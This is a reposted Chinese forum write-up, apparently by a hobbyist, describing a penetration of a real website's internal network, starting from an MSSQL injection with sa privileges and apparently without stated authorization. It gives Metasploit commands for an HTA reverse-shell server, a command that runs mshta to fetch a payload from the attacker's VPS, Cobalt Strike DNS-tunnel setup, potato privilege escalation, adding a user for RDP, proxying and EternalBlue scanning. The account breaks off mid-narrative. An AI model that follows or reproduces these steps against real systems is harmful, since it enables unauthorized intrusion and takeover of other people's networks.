搜索

[18243] 2020-12-26_记录一次SQL引起的内网渗透

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-12-26_记录一次SQL引起的内网渗透 记 录 一 次 S Q L 引 起 的 内 网 渗 透 b a i b a i b   H A C K 之 道   2 0 2 0 - 1 2 - 2 6 一   、   前 言 近 期 一 直 再 学 习 内 网 渗 透 ， 实 验 什 么 的 都 是 玩 玩 靶 机 。 这 一 天 朋 友 说 有 个 站 点 有 漏 洞 ， 就 发 过 来 看 了 一 些 是 一 个 S Q L 注 入 ， 继 而 开 启 了 这 次 内 网 渗 透 。 水 平 有 限 ， 并 且 初 学 哈 哈 哈 哈 ！ 没 有 什 么 技 术 要 点 纯 属 误 打 误 撞 ， 如 果 有 什 么 错 误 的 地 方 希 望 大 佬 多 多 指 点 ！ 二   、   W E B 点 进 入 内 网 这 次 渗 透 是 从 站 库 分 离 的 情 况 下 在 深 入 进 去 内 网 在 拿 下 域 控 服 务 器 ， 也 都 是 普 通 的 渗 透 思 路 ， 并 没 有 什 么 技 术 含 量 ！ 首 先 W E B 点 是 一 个 M S S Q L 注 入 漏 洞 ， 并 且 这 个 注 入 是 s a 权 限 的 ！ 首 先 这 个 站 点 是 使 用 J o o m l a C M S 搭 建 的 ， 但 是 在 一 处 S t u d y 信 息 登 记 处 发 现 了 S Q L 注 入 漏 洞   接 着 抓 下 此 处 查 询 的 数 据 包 进 行 注 入 ， 并 且 或 者 了 是 高 权 限 ， 可 以 开 启 x p _ c m d s h e l l 来 进 行 进 一 步 的 提 权 。 在 注 入 的 返 回 的 指 纹 信 息 可 以 获 知 对 方 的 操 作 系 统 大 概 率 就 是 w i n d o w s   S e r v e r   2 0 1 2 系 统
那 么 接 下 来 不 用 想 就 是 直 接 提 权 到 M S F 上 面 了 ， 这 里 使 用 h t a 来 提 权 到 M S F m s f 5   >   u s e   e x p l o i t / w i n d o w s / m i s c / h t a _ s e r v e r m s f 5   e x p l o i t ( w i n d o w s / m i s c / h t a _ s e r v e r )   >   s e t   p a y l o a d w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p p a y l o a d   = >   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p m s f 5 e x p l o i t ( w i n d o w s / m i s c / h t a _ s e r v e r )   >   s e t   l h o s t   V P S _ I P l h o s t   = >     V P S _ I P 这 里 就 开 始 监 听 断 开 ， 然 后 需 要 在 对 方 哪 里 执 行 命 令 。 如 下 接 着 在 执 行   m s h t a . e x e   h t t p : / / V P S _ I P : 8 0 8 0 / I A K W S l u . h t a 执 行 之 后 对 方 直 接 上 线 M S F 了 ， 这 里 可 以 看 到 对 方 的 主 机 名 称 就 叫 D A T A B A S E . 看 似 一 切 顺 利 ， 但 是 往 往 都 不 会 如 自 己 想 的 那 样 ， 上 线 之 后 一 直 不 能 执 行 命 令 ， 都 返 回 超 时 。 在 V P S 的 流 量 过 去 应 该 也 不 会 有 多 大 的 阻 碍 啊 ！ 也 许 是 被 对 方 的 一 些 设 备 拦 截 了 吧 ！
既 然 M S F 不 能 操 作 的 话 ， S Q L M A P 提 供 的 s h e l l 也 不 是 很 好 操 作 ， 那 么 可 以 试 着 写 入 w e b s h e l l 进 入 到 对 方 主 机 上 面 。 但 是 我 查 找 了 一 番 并 无 W E B 路 径 ， 这 里 时 候 想 起 了 它 的 主 机 名 称 ， 会 不 会 是 一 个 站 库 分 离 的 网 站 。 对 于 M S S Q L 注 入 查 询 是 否 站 库 分 离 很 简 单 s e l e c t   @ @ s e r v e r n a m e s e l e c t   h o s t _ n a m e ( ) 果 不 其 然 这 里 的 确 就 是 站 库 分 离 。 既 然 是 M S F 的 流 量 比 较 明 显 ， 也 不 能 写 入 w e b s h e l l ， 那 么 我 现 在 就 希 望 能 让 其 上 线 C o b a l t S t r i k e 吧 ！ 经 过 一 番 测 试 发 现 H T T P 流 量 也 是 返 回 不 了 B e a c o n 那 么 我 就 使 用 D N S 隧 道 来 上 线 。 首 先 需 要 配 置 域 名 解 析 到 C S 的 服 务 器 上 面 ， 并 且 执 行 N S 记 录 。 这 里 就 略 过 过 程 了 。 首 先 生 成 D N S 隧 道 监 听 。 主 机 这 里 填 写 A 记 录
  接 着 会 弹 出 来 要 给 框 ， 这 里 需 要 填 写 的 就 是 填 写 域 名 解 析 的 N S 记 录 了 ！ 接 着 使 用 p o w e r s h e l l 来 让 其 上 线 ， 但 是 发 现 在 S Q L M A P 的 s h e l l 中 这 里 显 示 无 法 使 用 p o w e r s h e l l 。 这 里 可 能 是 用 户 的 原 因 吧 ！ 这 里 的 用 户 是 m s s q l 用 户 。 如 果 不 能 使 用 P o w e r s h e l l 上 线 ， 那 么 可 以 使 用 C S 的 h t a 文 件 上 线 。 利 用 C S 生 成 h t a 文 件 然 后 挂 到 C S 服 务 器 上 面 ， 接 着 在 s h e l l 中 顺 利 执 行 ， 并 且 C S 上 线 小 黑 框 ！ 看 来 上 线 有 望 了 ！
使 用 t c p d u m p 监 听 5 3 端 口 的 流 量 ， 可 以 看 到 这 里 目 标 已 经 开 始 连 接 C S 服 务 器 了 ！ 上 线 之 后 ， 使 用 i p c o n f i g   / a l l 查 看 当 前 I P 。 发 现 D N S 这 里 存 在 域 名 ， 这 里 初 步 推 测 是 存 在 域 环 境 的 。 并 且 当 前 的 主 机 在 1 0 段 的 网 段 中 。 在 往 下 看 可 以 看 到 D N S 服 务 器 由 两 个 I P 地 址 。 这 里 初 步 推 断 这 就 是 域 控 了 ！ 因 为 一 般 安 装 域 控 的 话 都 会 安 装 D N S 服 务 器 ， 并 且 解 析 到 域 控 上 面 ！
接 着 使 用 s y s t e m i n f o 来 查 看 主 机 的 信 息 。 可 以 看 到 系 统 是 w i n d o w s 2 0 1 2 的 系 统 ， 并 且 可 以 确 定 的 是 由 域 环 境 。 并 且 但 是 打 的 补 丁 很 多 ， 当 前 的 权 限 是 m s s q l 权 限 ， 必 须 提 权 才 能 进 行 下 一 步 渗 透 ！
试 p i n g 一 下 D N S 的 主 机 名 称 。 是 可 以 p i n g 的 通 的 完 全 没 有 问 题 ， 如 果 不 同 的 话 也 不 应 该 哈 哈 哈 ！ ！ 可 以 看 到 D N S 的 I P 地 址 为 1 0 . 1 0 . 1 0 . 2 。 如 果 这 个 域 不 大 的 话 那 么 应 该 可 能 这 个 就 是 域 控 了 ！ 但 是 奇 怪 的 就 是 有 的 时 候 也 会 出 现 1 0 . 1 0 . 1 0 . 4 ！ 还 有 就 是 ！ 当 我 访 问 w w w 的 域 名 的 时 候 ， 它 会 给 我 转 跳 到 w e b 的 域 名 上 面 去 。 所 以 我 怀 疑 1 0 . 1 0 . 1 0 . 1 这 台 主 机 并 不 是 真 正 的 提 供 W E B 的 服 务 器 ！ 也 就 是 不 是 J o o m l a C M S 这 个 W E B 的 服 务 器  
接 着 对 内 网 的 机 器 进 行 探 测 ， 这 里 可 以 使 用 K 8 g e g e 的 龙 珠 插 件 ， 对 这 个 网 段 进 行 探 测 。 最 后 在 进 行 判 断 。 这 个 域 是 由 三 个 D N S 服 务 器 的 ！ 并 且 从 探 测 信 息 返 回 的 主 机 名 称 看 ， 这 三 个 D N S 服 务 器 就 是 域 控 了 ！ 并 且 W E B 服 务 器 就 是 1 0 . 1 0 . 1 0 . 1 这 台 服 务 器 ， 因 为 在 先 前 判 断 站 库 分 离 的 时 候 已 经 知 道 W E B 服 务 器 的 名 称 了 ！ 接 下 来 就 开 始 提 权 了 ！ 这 里 可 以 利 用 s y s t e m i n f o 输 入 的 补 丁 信 息 复 制 到 提 权 辅 助 页 面 上 面 进 行 补 丁 比 对 h t t p s : / / b u g s . h a c k i n g 8 . c o m / t i q u a n / 也 可 也 利 用 M S F 上 面 的 p o s t 模 块 上 的 本 地 提 权 插 件 来 进 行 获 取 提 权 漏 洞 信 息 。 这 里 我 把 会 话 传 递 到 M S F 上 ， 并 且 使 用 本 地 提 权 查 询 模 块 m s f 5   e x p l o i t ( w i n d o w s / m i s c / h t a _ s e r v e r )   >   u s e   p o s t / m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r m s f 5 p o s t ( m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r )   >   s e t   s e s s i o n   1 m s f 5   p o s t ( m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r )   > r u n 这 里 M S F 返 回 信 息 说 可 以 利 用 m s 1 6 - 0 7 5 。 话 不 多 说 直 接 提 权 开 搞 ！
利 用 C S 的 本 地 提 权 插 件 里 面 的 p o t a t o 提 权 漏 洞 进 行 提 取 成 功 。 提 取 到 了 s y s t e m 权 限 本 来 是 可 以 获 取 对 方 的 哈 希 的 ， 因 为 是 w i n d o w s   2 0 1 2 的 操 作 系 统 这 里 无 法 获 取 明 文 。 但 是 这 台 机 器 开 启 了 L S A 保 护 吧 ！ 连 m i m i k a t z 都 不 能 执 行 了 ， 返 回 5 结 尾 的 报 错 ！ 所 以 我 直 接 创 建 一 个 用 户 用 于 等 下 连 接 3 3 8 9   接 下 来 可 以 利 用 代 理 进 入 对 方 的 内 网 ， 我 测 试 了 一 下 C S 自 带 的 s o c k s 代 理 并 不 是 很 好 ， 有 的 时 候 会 卡 住 。 这 里 我 选 择 上 传 i o x 来 进 行 代 理 进 入 内 网 之 后 直 接 开 搞 ！ 首 先 可 以 对 内 网 的 永 恒 之 蓝 的 机 器 进 行 扫 描 。 成 功 扫 描 除 了 1 0 . 1 0 . 1 0 . 4 1 和 1 0 . 1 0 . 1 0 . 3 7 这 两 台 机 器 是 存 在 永 恒 之 蓝 漏 洞 的 ！
这 里 我 直 接 打 1 0 . 1 0 . 1 0 . 4 1 ， 它 的 操 作 系 统 是 w i n d o w s   7   。 1 0 . 1 0 . 1 0 . 3 7 是 w i n d o w s   2 0 0 3 的 系 统 先 不 搞 ！ M S F 给 我 连 续 打 了 好 几 波 ！ 但 是 都 没 有 成 功 ！ 这 里 应 该 是 失 败 了 ！ 对 端 设 备 有 防 火 墙 或 者 杀 软 的 软 件 拦 截 了 吧 。 三 、   失 去 权 限 ！ 重 新 再 次 进 入 内 网 这 个 时 候 已 经 是 晚 上 四 点 钟 了 ， 肝 不 下 去 了 直 接 睡 觉 ！ 谁 知 道 第 二 天 一 起 来 C S 的 B e a c o n 已 经 掉 线 ， 并 且 还 上 线 不 了 了 ！ ！ ！ ！ 可 能 管 理 员 已 经 发 现 并 且 加 固 了 服 务 器 了 ！ 如 果 对 方 没 有 把 我 的 V P S 禁 止 的 话 那 还 行 可 以 继 续 进 行 渗 透 的 ！ 首 先 再 V P S 上 面 进 行 i c m p 流 量 ！ 然 后 在 目 标 P i n g 服 务 器 ， 发 现 流 量 是 可 以 通 的
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理